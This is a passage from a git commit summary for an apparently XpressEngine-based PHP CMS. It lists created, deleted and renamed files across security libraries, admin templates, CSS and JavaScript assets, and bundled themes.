classes/security/htmlpurifier/tests/HTMLPurifier/URIHarness.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/URIParserTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/URISchemeRegistryTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/URISchemeTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/URITest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/UnitConverterTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/VarParser/FlexibleTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/VarParser/NativeTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/VarParserHarness.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifierTest.php delete mode 100644 classes/security/htmlpurifier/tests/PHPT/Controller/SimpleTest.php delete mode 100644 classes/security/htmlpurifier/tests/PHPT/Reporter/SimpleTest.php delete mode 100644 classes/security/htmlpurifier/tests/PHPT/Section/PRESKIPIF.php delete mode 100644 classes/security/htmlpurifier/tests/common.php delete mode 100644 classes/security/htmlpurifier/tests/default_load.php delete mode 100644 classes/security/htmlpurifier/tests/generate_mock_once.func.php delete mode 100644 classes/security/htmlpurifier/tests/index.php delete mode 100644 classes/security/htmlpurifier/tests/multitest.php delete mode 100644 classes/security/htmlpurifier/tests/path2class.func.php delete mode 100644 classes/security/htmlpurifier/tests/test_files.php delete mode 100644 classes/security/htmlpurifier/tests/tmp/README delete mode 100755 classes/security/phphtmlparser/CVS/Entries delete mode 100755 classes/security/phphtmlparser/CVS/Entries.Extra delete mode 100755 classes/security/phphtmlparser/CVS/Entries.Extra.Old delete mode 100755 classes/security/phphtmlparser/CVS/Entries.Old delete mode 100755 classes/security/phphtmlparser/CVS/Repository delete mode 100755 classes/security/phphtmlparser/CVS/Root delete mode 100755 classes/security/phphtmlparser/README delete mode 100755 classes/security/phphtmlparser/release.sh delete mode 100755 classes/security/phphtmlparser/src/CVS/Entries delete mode 100755 classes/security/phphtmlparser/src/CVS/Entries.Extra delete mode 100755 classes/security/phphtmlparser/src/CVS/Entries.Old delete mode 100755 classes/security/phphtmlparser/src/CVS/Repository delete mode 100755 classes/security/phphtmlparser/src/CVS/Root delete mode 100755 classes/security/phphtmlparser/src/ex_dumptags.php delete mode 100755 classes/security/phphtmlparser/src/ex_dumpurl.php delete mode 100755 classes/security/phphtmlparser/src/ex_html2text.php delete mode 100755 classes/security/phphtmlparser/src/testfile.html create mode 100644 common/css/bootstrap-responsive.css create mode 100644 common/css/bootstrap-responsive.min.css create mode 100644 common/css/bootstrap.css create mode 100644 common/css/bootstrap.min.css create mode 100644 common/css/mobile.css create mode 100644 common/css/mobile.min.css create mode 100644 common/img/glyphicons-halflings-white.png create mode 100644 common/img/glyphicons-halflings.png delete mode 100644 common/img/msg.Info.png delete mode 100644 common/img/msg.error.png delete mode 100644 common/img/msg.update.png create mode 100644 common/js/common.min.js create mode 100644 common/js/foggyLayer.js delete mode 100644 common/js/plugins/ui.tree/images/Thumbs.db create mode 100644 common/js/respond.min.js rename {modules/editor/components/image_gallery/tpl/images => layouts/default}/blank.gif (100%) create mode 100644 layouts/default/conf/info.xml create mode 100644 layouts/default/default.layout.css create mode 100644 layouts/default/default.layout.ie7.css create mode 100644 layouts/default/default.layout.ie78.css create mode 100644 layouts/default/default.layout.js create mode 100644 layouts/default/default.layout.webfont.css create mode 100644 layouts/default/layout.html create mode 100644 layouts/default/siteTitle.png create mode 100644 layouts/default/slideNav.png create mode 100644 layouts/default/thumbnail.png create mode 100644 layouts/default/visual.main.1.jpg create mode 100644 layouts/default/visual.main.2.jpg create mode 100644 layouts/default/visual.main.3.jpg create mode 100644 layouts/default/visual.sub.jpg rename modules/admin/tpl/{_spFooter.html => _footer.html} (61%) create mode 100644 modules/admin/tpl/_header.html delete mode 100644 modules/admin/tpl/_spHeader.html delete mode 100644 modules/admin/tpl/_spLnb.content.html delete mode 100644 modules/admin/tpl/_spShortcut.html create mode 100644 modules/admin/tpl/admin_bar.html create mode 100644 modules/admin/tpl/css/admin.bootstrap.css create mode 100644 modules/admin/tpl/css/admin.bootstrap.min.css create mode 100644 modules/admin/tpl/css/admin.iefix.css create mode 100644 modules/admin/tpl/css/jquery.jqplot.min.css delete mode 100644 modules/admin/tpl/img/btnPlusMinus.gif create mode 100644 modules/admin/tpl/img/flag.en.gif create mode 100644 modules/admin/tpl/img/flag.ko.gif delete mode 100644 modules/admin/tpl/img/flag.kr.gif delete mode 100644 modules/admin/tpl/img/flag.us.gif create mode 100644 modules/admin/tpl/img/flag.vi.gif delete mode 100644 modules/admin/tpl/img/flag.vn.gif delete mode 100644 modules/admin/tpl/img/iconArrow.gif delete mode 100644 modules/admin/tpl/img/iconCheck.gif delete mode 100644 modules/admin/tpl/img/iconNavVr.gif delete mode 100644 modules/admin/tpl/img/iconSetting.gif delete mode 100644 modules/admin/tpl/img/iconStarRating.gif delete mode 100644 modules/admin/tpl/img/iconWindow.gif delete mode 100644 modules/admin/tpl/img/lineTree.gif delete mode 100644 modules/admin/tpl/img/msg.Info.png delete mode 100644 modules/admin/tpl/img/msg.error.png delete mode 100644 modules/admin/tpl/img/msg.update.png delete mode 100644 modules/admin/tpl/img/preLoader16.gif create mode 100644 modules/admin/tpl/img/starRating.png create mode 100644 modules/admin/tpl/img/toggleSwitch.png create mode 100644 modules/admin/tpl/js/excanvas.min.js create mode 100644 modules/admin/tpl/js/jqplot.barRenderer.min.js create mode 100644 modules/admin/tpl/js/jqplot.categoryAxisRenderer.min.js create mode 100644 modules/admin/tpl/js/jqplot.pointLabels.min.js create mode 100644 modules/admin/tpl/js/jquery.jqplot.min.js create mode 100644 modules/admin/tpl/js/jquery.jstree.js create mode 100644 modules/admin/tpl/js/jquery.tmpl.js create mode 100644 modules/admin/tpl/js/themes/apple/bg.jpg create mode 100644 modules/admin/tpl/js/themes/apple/d.png create mode 100644 modules/admin/tpl/js/themes/apple/dot_for_ie.gif create mode 100644 modules/admin/tpl/js/themes/apple/style.css create mode 100644 modules/admin/tpl/js/themes/apple/throbber.gif create mode 100644 modules/admin/tpl/js/themes/classic/d.gif create mode 100644 modules/admin/tpl/js/themes/classic/d.png create mode 100644 modules/admin/tpl/js/themes/classic/dot_for_ie.gif create mode 100644 modules/admin/tpl/js/themes/classic/style.css create mode 100644 modules/admin/tpl/js/themes/classic/throbber.gif create mode 100644 modules/admin/tpl/js/themes/default-rtl/d.gif create mode 100644 modules/admin/tpl/js/themes/default-rtl/d.png create mode 100644 modules/admin/tpl/js/themes/default-rtl/dots.gif create mode 100644 modules/admin/tpl/js/themes/default-rtl/style.css create mode 100644 modules/admin/tpl/js/themes/default-rtl/throbber.gif create mode 100644 modules/admin/tpl/js/themes/default/d.gif create mode 100644 modules/admin/tpl/js/themes/default/d.png create mode 100644 modules/admin/tpl/js/themes/default/style.css create mode 100644 modules/admin/tpl/js/themes/default/throbber.gif create mode 100644 modules/admin/tpl/popup_layout.html delete mode 100644 modules/admin/tpl/theme.html create mode 100644 modules/autoinstall/autoinstall.admin.model.php delete mode 100644 modules/autoinstall/autoinstall.view.php create mode 100644 modules/autoinstall/queries/getHaveInstance.xml create mode 100644 modules/autoinstall/queries/getNeedUpdate.xml create mode 100644 modules/autoinstall/tpl/img/starRating.png create mode 100644 modules/communication/m.skins/default/friends.html create mode 100644 modules/communication/m.skins/default/js/communication.js create mode 100644 modules/communication/m.skins/default/message_box.html create mode 100644 modules/communication/m.skins/default/send_message.html create mode 100644 modules/document/queries/moveDocumentExtraVars.xml delete mode 100644 modules/document/tpl/category_info.html create mode 100644 modules/file/ruleset/imageResize.xml delete mode 100644 modules/file/tpl/file_config.html delete mode 100644 modules/file/tpl/js/fileConfig.js create mode 100644 modules/install/script/welcome_content/welcome.css create mode 100644 modules/install/script/welcome_content/welcome.gif create mode 100644 modules/install/tpl/after_upload_config_image.html delete mode 100644 modules/install/tpl/form.firebird.html delete mode 100644 modules/install/tpl/form.install.html delete mode 100644 modules/install/tpl/form.postgresql.html delete mode 100644 modules/install/tpl/form.sqlite2.html delete mode 100644 modules/install/tpl/form.sqlite3_pdo.html delete mode 100644 modules/install/tpl/images/blank.gif delete mode 100644 modules/install/tpl/images/h1.png delete mode 100644 modules/install/tpl/images/iconCreate.gif delete mode 100644 modules/install/tpl/images/iconManual.gif delete mode 100644 modules/install/tpl/images/installBg.gif delete mode 100644 modules/install/tpl/images/installBoxBottom.png delete mode 100644 modules/install/tpl/img/bgHtml.gif delete mode 100644 modules/install/tpl/img/btnPack.gif create mode 100644 modules/layout/layout.admin.model.php create mode 100644 modules/layout/queries/getOneModuleInstanceByModuleName.xml delete mode 100644 modules/layout/tpl/about_faceoff.html delete mode 100644 modules/layout/tpl/after_delete_config_image.html delete mode 100644 modules/layout/tpl/css/adminEdit.css delete mode 100644 modules/layout/tpl/downloaded_layout_list.html delete mode 100644 modules/layout/tpl/downloaded_mlayout_list.html create mode 100644 modules/layout/tpl/img/download.png create mode 100644 modules/layout/tpl/img/noThumbnail.png delete mode 100644 modules/layout/tpl/include.multilang.html delete mode 100644 modules/layout/tpl/include.multilang.textarea.html delete mode 100644 modules/layout/tpl/index.html delete mode 100644 modules/layout/tpl/insert_layout.html create mode 100644 modules/layout/tpl/js/layout_admin_set_html.js delete mode 100644 modules/layout/tpl/layout_detail_info.html create mode 100644 modules/layout/tpl/layout_html_css_view.html delete mode 100644 modules/layout/tpl/layout_image_list.html create mode 100644 modules/layout/tpl/layout_info_view.html delete mode 100644 modules/layout/tpl/mindex.html create mode 100644 modules/member/ruleset/insertDefaultConfig.xml rename modules/member/ruleset/{insertConfig.xml => insertLoginConfig.xml} (68%) delete mode 100644 modules/member/skins/default/resend_auth_mail.html create mode 100644 modules/member/tpl/default_config.html delete mode 100644 modules/member/tpl/delete_form.html delete mode 100644 modules/member/tpl/delete_members.html delete mode 100644 modules/member/tpl/denied_id_list.html create mode 100644 modules/member/tpl/design_config.html delete mode 100644 modules/member/tpl/group_update_form.html delete mode 100644 modules/member/tpl/join_form_list.html create mode 100644 modules/member/tpl/js/config.js create mode 100644 modules/member/tpl/js/default_config.js create mode 100644 modules/member/tpl/js/design_config.js rename modules/member/tpl/js/{member_admin_config.js => signup_config.js} (74%) create mode 100644 modules/member/tpl/login_config.html delete mode 100644 modules/member/tpl/login_form.html delete mode 100644 modules/member/tpl/logout.html delete mode 100644 modules/member/tpl/manage_member_group.html delete mode 100644 modules/member/tpl/member_config.html delete mode 100644 modules/member/tpl/member_info_mobile.html delete mode 100644 modules/member/tpl/modify_password.html create mode 100644 modules/member/tpl/new_colorset_list.html create mode 100644 modules/member/tpl/signup_config.html delete mode 100644 modules/member/tpl/signup_form.html create mode 100644 modules/menu/queries/getMenuItemByUrl.xml create mode 100644 modules/menu/ruleset/updateMenuItem.xml delete mode 100644 modules/menu/tpl/css/menu.css create mode 100644 modules/menu/tpl/css/sitemap.css create mode 100644 modules/menu/tpl/css/sitemap.ie78.css create mode 100644 modules/menu/tpl/css/themes/apple/bg.jpg create mode 100644 modules/menu/tpl/css/themes/apple/d.png create mode 100644 modules/menu/tpl/css/themes/apple/dot_for_ie.gif create mode 100644 modules/menu/tpl/css/themes/apple/style.css create mode 100644 modules/menu/tpl/css/themes/apple/throbber.gif create mode 100644 modules/menu/tpl/css/themes/classic/d.gif create mode 100644 modules/menu/tpl/css/themes/classic/d.png create mode 100644 modules/menu/tpl/css/themes/classic/dot_for_ie.gif create mode 100644 modules/menu/tpl/css/themes/classic/style.css create mode 100644 modules/menu/tpl/css/themes/classic/throbber.gif create mode 100644 modules/menu/tpl/css/themes/default-rtl/d.gif create mode 100644 modules/menu/tpl/css/themes/default-rtl/d.png create mode 100644 modules/menu/tpl/css/themes/default-rtl/dots.gif create mode 100644 modules/menu/tpl/css/themes/default-rtl/style.css create mode 100644 modules/menu/tpl/css/themes/default-rtl/throbber.gif create mode 100644 modules/menu/tpl/css/themes/default/d.gif create mode 100644 modules/menu/tpl/css/themes/default/d.png create mode 100644 modules/menu/tpl/css/themes/default/style.css create mode 100644 modules/menu/tpl/css/themes/default/throbber.gif delete mode 100644 modules/menu/tpl/filter/delete_menu.xml delete mode 100644 modules/menu/tpl/filter/delete_menu_item.xml delete mode 100644 modules/menu/tpl/filter/insert_menu.xml delete mode 100644 modules/menu/tpl/filter/insert_menu_item.xml delete mode 100644 modules/menu/tpl/filter/move_menu_item.xml delete mode 100644 modules/menu/tpl/filter/update_menu_title.xml delete mode 100644 modules/menu/tpl/header.html delete mode 100644 modules/menu/tpl/index.html create mode 100644 modules/menu/tpl/js/_lib/jquery.cookie.js create mode 100644 modules/menu/tpl/js/_lib/jquery.hotkeys.js create mode 100644 modules/menu/tpl/js/_lib/jquery.js create mode 100644 modules/menu/tpl/js/jquery.jstree.js create mode 100644 modules/menu/tpl/js/jquery.scrollTo-1.4.2.js create mode 100644 modules/menu/tpl/js/jquery.tmpl.js delete mode 100644 modules/menu/tpl/menu_file_uploaded.html delete mode 100644 modules/menu/tpl/menu_insert.html delete mode 100644 modules/menu/tpl/menu_item_info.html delete mode 100644 modules/menu/tpl/menu_management.html delete mode 100644 modules/menu/tpl/mid_list.html delete mode 100644 modules/menu/tpl/sitemap.item.html create mode 100644 modules/message/message.admin.model.php create mode 100644 modules/message/tpl/colorset_list.html create mode 100644 modules/message/tpl/js/config.js create mode 100644 modules/module/queries/getAllMobileSkinSetModule.xml create mode 100644 modules/module/queries/getModuleInfoByMenuItemSrl.xml create mode 100644 modules/module/queries/getNotLinkedModuleBySiteSrl.xml create mode 100644 modules/module/queries/updateMobileSkinFixModules.xml create mode 100644 modules/module/tpl/include.filebox.html rename modules/{widget => module}/tpl/js/mid.js (54%) rename modules/{widget => module}/tpl/js/module_list.js (82%) create mode 100644 modules/module/tpl/module_searcher_v17.html create mode 100644 modules/module/tpl/multilingual_v17.html create mode 100644 modules/module/tpl/multilingual_v17_list.html delete mode 100644 modules/page/tpl/page_insert.html delete mode 100644 modules/rss/tpl/filter/insert_rss_config.xml delete mode 100644 modules/rss/tpl/filter/insert_rss_module_config.xml delete mode 100644 modules/rss/tpl/js/rss.js delete mode 100644 modules/spamfilter/ruleset/deleteDeniedIp.xml delete mode 100644 modules/spamfilter/ruleset/deleteDeniedWord.xml create mode 100644 modules/spamfilter/tpl/config_block.html create mode 100644 modules/spamfilter/tpl/denied_ip_list.html create mode 100644 modules/spamfilter/tpl/denied_word_list.html rename classes/security/phphtmlparser/src/CVS/Entries.Extra.Old => modules/spamfilter/tpl/footer.html (100%) mode change 100755 => 100644 create mode 100644 modules/spamfilter/tpl/header.html delete mode 100644 modules/spamfilter/tpl/index.html create mode 100644 modules/trash/queries/getTrashAllList.xml create mode 100644 modules/widget/ruleset/generateCodeInPage.xml delete mode 100644 modules/widget/tpl/images/widget_copy.gif delete mode 100644 modules/widget/tpl/images/widget_remove.gif delete mode 100644 modules/widget/tpl/images/widget_setup.gif delete mode 100644 modules/widget/tpl/images/widget_size.gif delete mode 100644 modules/widget/tpl/images/widgetstyle_setup.gif delete mode 100644 modules/widget/tpl/js/multi_lang.js delete mode 100644 modules/widget/tpl/js/multi_order.js create mode 100644 modules/widget/tpl/js/widget.min.js delete mode 100644 modules/widget/tpl/widget_generate_code.filebox.html delete mode 100644 modules/widget/tpl/widget_generate_code.multilang.html delete mode 100644 modules/widget/tpl/widget_generate_code.multilang.textarea.html create mode 100644 tests/modules/admin/admin.Test.php create mode 100644 tests/modules/document/document.Test.php delete mode 100644 themes/xe_default/conf/info.xml delete mode 100644 themes/xe_default/thumbnail.png delete mode 100644 themes/xe_greystone/conf/info.xml delete mode 100644 themes/xe_greystone/layouts/xe_greystone/conf/info.xml delete mode 100644 themes/xe_greystone/layouts/xe_greystone/css/default.css delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/Thumbs.db delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/Thumbs.db delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/bgBody.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/bgContentBody.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/bgGnbOn.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/bgGnbVr.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/bgHeader.jpg delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/bgLnbOff.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/bgSearch.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/bgSearchOn.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/bgSearchTerm.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/bulletD0.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/bulletFF1A00.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/bulletLnb.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/buttonLang.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/buttonSearch.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/lineNotice.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/black/vrType1.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/blank.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/default/bgContentBody.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/default/bgGnbVr.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/default/bgLnbOff.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/default/bg_body.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/default/bg_gnb.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/default/bg_gnb2.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/default/bg_lnb.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/default/bu_v1.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/default/buttonLogin.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/default/ico_are.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/default/ico_arw.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/default/ico_search.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/powerdByXE.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/Thumbs.db delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/bgContentBody.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/bgGnbOn.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/bgGnbVr.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/bgHeader.png delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/bgLnbOff.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/bgSearch.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/bgSearchOn.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/bgSearchTerm.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/bulletD0.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/bulletFF1A00.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/bulletLnb.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/buttonLang.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/buttonSearch.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/lineNotice.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/images/white/vrType1.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/info.xml delete mode 100644 themes/xe_greystone/layouts/xe_greystone/js/blank.gif delete mode 100644 themes/xe_greystone/layouts/xe_greystone/js/xe_global.js delete mode 100644 themes/xe_greystone/layouts/xe_greystone/js/xe_official.js delete mode 100644 themes/xe_greystone/layouts/xe_greystone/layout.html delete mode 100644 themes/xe_greystone/layouts/xe_greystone/thumbnail.png delete mode 100644 themes/xe_greystone/modules/message/filter/login.xml delete mode 100644 themes/xe_greystone/modules/message/filter/openid_login.xml delete mode 100644 themes/xe_greystone/modules/message/images/Thumbs.db delete mode 100644 themes/xe_greystone/modules/message/images/bg_box_c.gif delete mode 100644 themes/xe_greystone/modules/message/images/bg_box_f.gif delete mode 100644 themes/xe_greystone/modules/message/images/bg_box_top.gif delete mode 100644 themes/xe_greystone/modules/message/images/bg_gLogin.gif delete mode 100644 themes/xe_greystone/modules/message/images/bg_logOut.gif delete mode 100644 themes/xe_greystone/modules/message/images/buttonAction.gif delete mode 100644 themes/xe_greystone/modules/message/images/openid_login_bg.gif delete mode 100644 themes/xe_greystone/modules/message/message.css delete mode 100644 themes/xe_greystone/modules/message/message.js delete mode 100644 themes/xe_greystone/modules/message/skin.xml delete mode 100644 themes/xe_greystone/modules/message/system_message.html delete mode 100644 themes/xe_greystone/modules/message/thumbnail.png delete mode 100644 themes/xe_greystone/thumbnail.png delete mode 100644 themes/xe_sapphire/conf/info.xml delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/conf/info.xml delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/css/default.css delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/bgGnbVr.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/bg_body.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/bg_contentBody.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/bg_gnb.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/bg_gnb2.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/bg_gnb3.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/bg_gnb4.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/bg_gnb_home.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/bg_hd.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/bg_login.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/bg_top_area.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/btn_login2.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/bu_v1.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/ico_arw.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/ico_arw2.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/ico_search.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/line_language.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/images/default/ling_top_area.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/js/blank.gif delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/js/xe_global.js delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/js/xe_official.js delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/layout.html delete mode 100644 themes/xe_sapphire/layouts/xe_sapphire/thumbnail.png delete mode 100644 themes/xe_sapphire/modules/message/filter/login.xml delete mode 100644 themes/xe_sapphire/modules/message/filter/logout.xml delete mode 100644 themes/xe_sapphire/modules/message/filter/openid_login.xml delete mode 100644 themes/xe_sapphire/modules/message/images/Thumbs.db delete mode 100644 themes/xe_sapphire/modules/message/images/bg_box_c.gif delete mode 100644 themes/xe_sapphire/modules/message/images/bg_box_f.gif delete mode 100644 themes/xe_sapphire/modules/message/images/bg_box_top.gif delete mode 100644 themes/xe_sapphire/modules/message/images/bg_gLogin.gif delete mode 100644 themes/xe_sapphire/modules/message/images/bg_logOut.gif delete mode 100644 themes/xe_sapphire/modules/message/images/buttonAction.gif delete mode 100644 themes/xe_sapphire/modules/message/images/openid_login_bg.gif delete mode 100644 themes/xe_sapphire/modules/message/message.css delete mode 100644 themes/xe_sapphire/modules/message/message.js delete mode 100644 themes/xe_sapphire/modules/message/skin.xml delete mode 100644 themes/xe_sapphire/modules/message/system_message.html delete mode 100644 themes/xe_sapphire/modules/message/thumbnail.png delete mode 100644 themes/xe_sapphire/thumbnail.png delete mode 100644 themes/xe_solid_enterprise/conf/info.xml delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/conf/info.xml delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/css/banner.css delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/css/style.css delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/Thumbs.db delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/back_slide_img_1.jpg delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/btn_language.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/btn_signin.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/btn_signout.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/defaultImg1.jpg delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/defaultImg2.jpg delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/defaultImg3.jpg delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/defaultImg4.jpg delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/defaultImg5.jpg delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/gnb_m1_on.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/gnb_m1_on_n.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/header_bg.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_add.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_article.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_at.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_book.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_check.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_friends.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_graph.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_help.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_mbinfo.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_message.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_money.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_note.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_search.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_tool.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_write.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/icon_written.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/lang_vr.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/language_ul_top.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/language_ul_top.png delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/lnb_bg.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/lnb_bg.png delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/lnb_bg_on.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/loading.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/logo.png delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/minfo_bg_tail.png delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/minfo_bg_tt.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/minfo_body_bg.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/search_box_bg.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/signin_bg_tail.png delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/signin_bg_tt.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/signin_bg_tt.png delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/signin_body_bg.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/signin_input.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/signin_key_bg.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/signin_win_hr.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/slide_box_bg.gif delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/slide_img_1.jpg delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/slide_img_2.jpg delete mode 100644 themes/xe_solid_enterprise/layouts/xe_solid_enterprise/images/slide_img_3.jpg delete mode 100644 